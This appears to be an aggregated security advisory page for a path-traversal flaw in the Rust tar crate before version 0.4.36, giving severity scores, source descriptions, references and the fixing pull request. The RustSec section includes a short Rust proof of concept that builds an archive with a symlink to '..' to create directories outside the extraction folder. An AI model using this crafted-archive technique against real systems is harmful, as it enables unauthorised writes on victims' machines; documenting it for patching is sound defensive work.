7.5high
Links in archive can create arbitrary directories
- Severity
- 7.5high CVSS:3.1 by NVD
- Exploit likelihood
- 1.39% (higher than 73% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- mitre
- Also known as
- GHSA-62jx-8vmh-4mcwRUSTSEC-2021-0080
Description
An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| Unspecified product | n/a | CVE List |
| tar (crates.io) | before 0.4.36, from 0.0.0-0 before 0.4.36 | GitHub Advisory Database, RustSec Advisory Database |
| tar_project tar | before 0.4.36 | NVD |
All scores
| GitHub | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| RustSec Advisory Database | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| NVD | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| NVD | 5.0medium CVSS:2.0 | AV:N/AC:L/Au:N/C:N/I:P/A:N |
Classification
What each source says
CVE List
An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.
GitHub Advisory Database
When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point.
RustSec Advisory Database
When unpacking a tarball that contains a symlink the tar crate may create
directories outside of the directory it's supposed to unpack into.
The function errors when it's trying to create a file, but the folders are already created at this point.
use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};
fn main() -> Result<()> {
let mut buf = Vec::new();
{
let mut builder = Builder::new(&mut buf);
// symlink: parent -> ..
let mut header = Header::new_gnu();
header.set_path("symlink")?;
header.set_link_name("..")?;
header.set_entry_type(EntryType::Symlink);
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty())?;
// file: symlink/exploit/foo/bar
let mut header = Header::new_gnu();
header.set_path("symlink/exploit/foo/bar")?;
header.set_size(0);
header.set_cksum();
builder.append(&header, io::empty())?;
builder.finish()?;
};
Archive::new(&*buf).unpack("demo")
}
This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is
published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for
discovering and reporting this, and Nikhil Benesch (@benesch) for
the fix!
NVD (es)
Se ha detectado un problema en la crate tar versiones anteriores a 0.4.36 para Rust. Cuando los enlaces simbólicos están presentes en un archivo TAR, la extracción puede crear directorios arbitrarios por medio de .. Salto
References
| https://rustsec.org/advisories/RUSTSEC-2021-0080.html | advisory, exploit, third-party-advisory, web | |
| https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/tar/RUSTSEC-2021-0080.md | exploit, third-party-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2021-38511 | advisory | |
| https://github.com/alexcrichton/tar-rs/issues/238 | report, web | |
| https://github.com/alexcrichton/tar-rs/pull/259 | web | |
| https://github.com/alexcrichton/tar-rs | package | |
| https://crates.io/crates/tar | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2021-38511 changed 2024-08-04 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-62jx-8vmh-4mcw changed 2023-11-08 | CC-BY-4.0 |
| RustSec Advisory Database | RUSTSEC-2021-0080 changed 2026-07-17 | CC0-1.0 |
| NVD | CVE-2021-38511 changed 2026-06-17 | Public domain |